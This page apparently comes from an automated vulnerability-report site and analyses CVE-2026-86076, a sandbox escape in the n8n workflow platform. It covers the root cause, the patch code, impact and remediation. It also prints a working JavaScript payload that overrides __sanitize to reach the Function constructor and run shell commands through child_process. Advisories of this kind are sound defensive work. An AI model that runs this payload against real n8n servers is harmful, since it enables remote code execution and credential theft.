CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-86076

CVE-2026-86076: Remote Code Execution via Expression Sandbox Escape in n8n

Amit Schendel
Amit Schendel
Senior Security Researcher

Sep 10, 2026·7 min read·39 visits

Executive Summary (TL;DR)

A missing ClassBody traversal in n8n's expression sanitizer allows low-privileged users to redefine the '__sanitize' resolver on custom classes, escaping the sandbox to execute arbitrary Node.js commands.

An expression sandbox escape vulnerability exists in n8n due to a missing AST traversal check on ClassBody in the PrototypeSanitizer. This allows authenticated users with low privileges to bypass property checks and achieve remote code execution.

Vulnerability Overview

n8n is an extensible workflow automation platform that allows users to design and execute complex logical tasks by connecting diverse nodes. In many workflows, users write inline template expressions or custom JavaScript blocks to dynamically manipulate input data. To prevent untrusted workflow designs from executing arbitrary code on the underlying operating system or accessing forbidden object properties, n8n compiles these expressions within a sandboxed runtime environment. The core implementation of this sandbox relies on AST rewriting to inspect and restrict property access.

The AST parsing mechanism, specifically defined in the PrototypeSanitizer class within packages/workflow/src/expression-sandboxing.ts, serves as the security boundary. When expressions access properties dynamically, the compiler rewrites the operation to inspect the keys at runtime using a validation function. This validation function, dynamically referenced as __sanitize, blocks access to properties like constructor, __proto__, and prototype.

A critical design flaw was discovered in the AST parsing logic where the analyzer did not traverse or validate structures inside a ClassBody node. This omission allows an authenticated user to declare a class containing a field or method named __sanitize. Because this field is resolved dynamically through the runtime's evaluation context, the attacker-defined sanitization bypass overrides the built-in sandbox security checks, enabling arbitrary property access and remote code execution.

Root Cause Analysis

The root cause of this sandbox escape resides in the interaction between static AST-based safety checks and dynamic JavaScript scope resolution. The PrototypeSanitizer is built using a visitor pattern that traverses the nodes of a compiled AST. When the compiler encounters variable declarations, functions, catch blocks, and class definitions, it runs validation checks to ensure reserved identifiers such as __sanitize or ___n8n_data are not declared or reassigned. However, the traversal logic completely lacked a visitor hook for ClassBody AST nodes.

Because the compiler did not visit ClassBody nodes, any field declarations or method definitions within a class were ignored during static validation. An attacker could therefore declare a class containing a field named __sanitize without triggering any validation exceptions or compiler rejections. The static validator only checked the class declaration identifier itself, leaving the internal body completely unverified.

At execution time, the sandboxed template engine translates dynamic brackets access like obj[key] to obj[___n8n_data.__sanitize(key)]. If the dynamic expression is evaluated within a class method, the runtime scope resolves the call to the contextual this reference. When the class method executes this['constructor'], the compiled AST attempts to resolve this.__sanitize('constructor'). Because the class instance itself declares a custom, unrestricted __sanitize field, the JavaScript runtime executes this attacker-defined function instead of the official sanitizer, returning the 'constructor' string unmodified and bypassing the safety boundary.

Code-Level Patch Analysis

To remediate the vulnerability, n8n developers updated packages/workflow/src/expression-sandboxing.ts by adding an AST visitor for ClassBody nodes and introducing helper utilities to statically parse property keys. The patched code includes the visitClassBody hook, which examines the body array of each class structure. This ensures that any static declarations of class properties, methods, or constructors are validated prior to execution.

// Patched AST check targeting ClassBody nodes
visitClassBody(path) {
    // Traverses internal nodes of the class body
    this.traverse(path);
 
    const members = path.node.body;
    if (!Array.isArray(members)) return;
 
    // Iterate through every defined member inside the class
    for (const member of members) {
        if (!isAstNode(member)) continue;
        
        // Avoid checking dynamic computed identifier keys (which are variables)
        if (member.computed && isAstNode(member.key) && member.key.type === 'Identifier') continue;
        
        // Extract static names from Identifiers, Literals, or StringLiterals
        const memberKey = getReservedMemberKey(member.key);
        if (memberKey !== undefined) {
            // Fail compilation if the member overrides a reserved name like '__sanitize'
            throw new ExpressionReservedVariableError(memberKey);
        }
    }
}

Additionally, the patch introduced getReservedMemberKey and getStaticTemplateValue functions to safely inspect computed and static member names. This prevents attackers from bypassing the check using string or template literals. By statically analyzing the keys and comparing them against the RESERVED_VARIABLE_NAMES set, the sandbox compiler successfully detects and blocks any class member declaration that attempts to hijack sandbox-related helper methods.

This patch provides complete validation for class scopes, effectively blocking the dynamic override vector. Because the compiler now rejects any class definitions containing the reserved identifiers, the execution engine is prevented from resolving the hijacked sanitizer dynamically. This effectively mitigates the sandbox escape without impacting legitimate class expressions that utilize standard, non-reserved property names.

Exploitation Mechanics

Exploitation of CVE-2026-86076 requires low-privileged credentials to author or edit workflows within n8n. The attacker begins by introducing a custom Node.js execution step (such as a Code Node) or crafting an inline template expression within an arbitrary standard node. The payload contains a class structure designed to override the sanitizer function.

// Exploitation payload illustrating the sanitizer override
class SandboxEscape {
  // Declare the class field to override the sandbox resolver
  __sanitize = function(val) {
    return val; // Bypasses security validations by returning the string unchanged
  };
 
  exploit() {
    // Resolves the class constructor via hijacked property resolution
    const classConstructor = this['constructor'];
    
    // Reaches the global Function constructor to instantiate raw code execution
    const FunctionConstructor = classConstructor['constructor'];
    
    // Command to execute on the hosting server
    const payload = "const cp = globalThis.process.mainModule.require('child_process'); return cp.execSync('id; uname -a').toString();";
    const trigger = FunctionConstructor(payload);
    return trigger();
  }
}
 
const escapeInstance = new SandboxEscape();
escapeInstance.exploit();

When this payload is submitted, the workflow engine compiles the expression without error because the vulnerable engine fails to evaluate the internal members of SandboxEscape. Once executed, the workflow engine runs escapeInstance.exploit(). The lookup of this['constructor'] is transformed into this[this.__sanitize('constructor')] by the compiler, which subsequently calls the local overridden __sanitize function.

The hijacked __sanitize function returns the string 'constructor' to the compiler wrapper, allowing direct access to the Function class constructor. This constructor is evaluated under the context of the main Node.js process, which allows executing operating system commands through the child_process module. The command execution inherits the privileges of the system user running the n8n application process.

Impact Assessment

The successful exploitation of CVE-2026-86076 has serious security implications for both the hosting infrastructure and user browser environments. On the server side, an attacker with workflow creation permissions can execute arbitrary shell commands under the context of the n8n service account. This access permits attackers to read sensitive configuration values, extract connected credentials or API tokens, and pivot to adjacent internal networks.

In addition to backend code execution, this vulnerability facilitates a client-side execution path. Because workflow expressions are also evaluated within the n8n Editor UI during the node preview phase, any user viewing or editing a shared workflow containing the payload will trigger the JavaScript execution inside their local browser session. This stored cross-user JavaScript execution (stored XSS equivalent) can be leveraged to hijack session tokens, perform actions on behalf of admin users, or manipulate workflow configurations.

The official CVSS v4.0 score is rated at 8.7 (High), reflecting the network-based attack vector and high impact across the confidentiality, integrity, and availability of the system. While exploitation requires low-privileged user access to edit workflows, the overall lack of direct user interaction requirements once the workflow is run or viewed dramatically elevates the threat posture of exposed n8n interfaces.

Remediation and Mitigation

The primary and recommended remediation is updating the n8n installation to the patched versions. Organizations should identify their active branch and apply the corresponding security update. For installations on the v1.x branch, the patch is available starting with version 1.123.76. For the v2.37.x branch, users must upgrade to at least 2.37.7, and for the v2.38.x branch, to at least 2.38.2.

In environments where immediate upgrading is not feasible, administrators must implement access control restrictions to limit the attack surface. Disabling self-registration and enforcing strict Role-Based Access Control (RBAC) ensures only highly trusted administrators can create or edit workflow configurations. Because the exploit relies on the presence of the __sanitize string within workflow nodes, database monitoring can be used to identify potential abuse.

Administrators can execute targeted database queries to scan stored workflows for indicators of compromise. Executing a search query against the workflow_entity database table for occurrences of the string __sanitize can identify malicious payloads. Any workflow found containing this property should be deactivated and reviewed immediately for potential code injection artifacts.

Technical Appendix

CVSS Score
8.7/ 10
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:N/SA:N

Affected Systems

n8n Workflow Automation Platform

Affected Versions Detail

Product
Affected Versions
Fixed Version
n8n
n8n
< 1.123.761.123.76
n8n
n8n
>= 2.0.0, < 2.37.72.37.7
n8n
n8n
>= 2.38.0, < 2.38.22.38.2
AttributeDetail
CWE IDCWE-94
Attack VectorNetwork
CVSS Score8.7 (High)
ImpactRemote Code Execution (RCE) / Stored Cross-User JavaScript Execution
Exploit StatusPoC (Proof of Concept) Feasible
KEV StatusNot Listed

MITRE ATT&CK Mapping

T1059Command and Scripting Interpreter
Execution
T1203Exploitation for Client Execution
Execution
CWE-94
Improper Control of Generation of Code ('Code Injection')

The platform constructs or evaluates code using input containing code-like structures, which can allow arbitrary execution of malicious payloads.

Vulnerability Timeline

Release commits and fixes pushed to n8n repository.
2026-09-02
Official Security Advisory published under GHSA-hw8v-xxg5-vvvx.
2026-09-08
CVE Identifier CVE-2026-86076 registered.
2026-09-08
NVD processes vulnerability metadata.
2026-09-09

References & Sources

  • [1]n8n Security Advisory GHSA-hw8v-xxg5-vvvx
  • [2]n8n Release 1.123.76
  • [3]n8n Release 2.37.7
  • [4]n8n Release 2.38.2

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•1 day ago•CVE-2026-115895
8.8

CVE-2026-115895: Code Injection via Unsanitized Import Alias in Happy DOM ECMAScript Module Compiler

CVE-2026-115895 is a high-severity code injection vulnerability (CWE-94) in the happy-dom npm package prior to version 21.0.4. The vulnerability exists within the ECMAScriptModuleCompiler component, which transforms ECMAScript module syntax into executable Node.js functions when JavaScript evaluation is enabled. Due to an incomplete fix for CVE-2026-33943, the compiler failed to validate local named import aliases against legal JavaScript identifier rules. Attackers supplying crafted module imports—specifically utilizing destructuring default initializers alongside JSON module attributes—can inject arbitrary JavaScript expressions directly into the host Node.js runtime context.

Amit Schendel
Amit Schendel
7 views•10 min read
•1 day ago•CVE-2026-115883
6.0

CVE-2026-115883: Cross-Namespace Access via Dot-Delimited Labels in LangGraph Postgres and SQLite Stores

An improper input validation and authorization bypass vulnerability exists in the LangGraph storage layer affecting langgraph, langgraph-checkpoint-postgres, and langgraph-checkpoint-sqlite. Because relational store implementations serialize namespace tuples into dot-delimited strings without validating labels on read, search, delete, and batch operations, an attacker who controls a namespace label can inject periods (.) to traverse namespace boundaries and access, modify, or delete data belonging to other namespaces.

Amit Schendel
Amit Schendel
8 views•9 min read
•1 day ago•CVE-2026-115886
6.5

CVE-2026-115886: Unauthenticated Server-Side Request Forgery and Unsafe Reflection in MLflow Scorer Evaluation Endpoints

CVE-2026-115886 (GHSA-2wqp-q3c6-ccj5) is a Server-Side Request Forgery (SSRF) and Unsafe Reflection vulnerability in MLflow versions 3.12.0rc0 prior to 3.17.0. Unauthenticated REST API endpoints accept serialized third-party scorer JSON payloads that are dynamically deserialized and reflectively instantiated without sanitizing constructor keyword arguments. When optional dependencies such as trulens and trulens-providers-litellm are installed, attackers can inject egress-steering arguments into the scorer payload, forcing the MLflow server to dispatch outbound HTTP requests to arbitrary internal destinations or cloud metadata services.

Alon Barad
Alon Barad
9 views•10 min read
•1 day ago•CVE-2026-113872
7.5

CVE-2026-113872: Unauthenticated Process Crash in Express Multer via Late Busboy Stream Resumption

CVE-2026-113872 (GHSA-q7qp-rjg7-q26m) is a high-severity denial-of-service vulnerability affecting the multer multipart/form-data upload middleware for Node.js and Express in versions 2.0.0 through 2.4.0. When an endpoint is configured to accept multiple files using an asynchronous fileFilter callback, a crafted, truncated multipart HTTP request can trigger an unhandled error event on the underlying busboy stream parser after request teardown has already completed. Because all error listeners are stripped during teardown, Node.js treats the resulting error event as an uncaught exception and immediately terminates the server process.

Amit Schendel
Amit Schendel
7 views•12 min read
•1 day ago•CVE-2026-115897
2.1

CVE-2026-115897: Cross-Site Scripting via Function Body Boundary Bypass in serialize-javascript

CVE-2026-115897 (also tracked as GHSA-m5mm-p8h7-m29v and aliased as CVE-2026-115754) is a Cross-Site Scripting (XSS) vulnerability in the Yahoo serialize-javascript npm package prior to version 7.1.3. The flaw exists in the regular expression used by escapeFunctionBody() to neutralize HTML script closing tags within serialized JavaScript functions. Because function bodies are sanitized in isolation before structural formatting is applied, a function whose string representation terminates directly with the sequence '</script' bypasses the positive lookahead check. When combined with serialization formatting options that introduce whitespace delimiters and a subsequent property that supplies a closing bracket, an attacker can prematurely terminate an enclosing HTML <script> block and inject arbitrary HTML or JavaScript into the rendered document.

Amit Schendel
Amit Schendel
7 views•13 min read
•1 day ago•CVE-2026-109841
5.9

CVE-2026-109841: Subresource Integrity Verification Bypass in Node.js Undici

CVE-2026-109841 is a Subresource Integrity (SRI) verification bypass vulnerability in undici, the official HTTP/1.1 and HTTP/2 client library for Node.js that powers the global fetch() implementation. The flaw stems from improper handling of case sensitivity (CWE-178) when validating cryptographic hash algorithm tokens within SRI metadata. Because undici compared incoming algorithm identifiers against a strictly lowercase set without prior ASCII-lowercase normalization, valid uppercase or mixed-case tokens such as SHA256- or Sha384- were treated as unrecognized algorithms and discarded. Under SRI forward-compatibility rules, discarding all provided tokens results in an empty integrity list, causing undici to fail open and accept tampered HTTP response bodies without cryptographic verification.

Alon Barad
Alon Barad
10 views•9 min read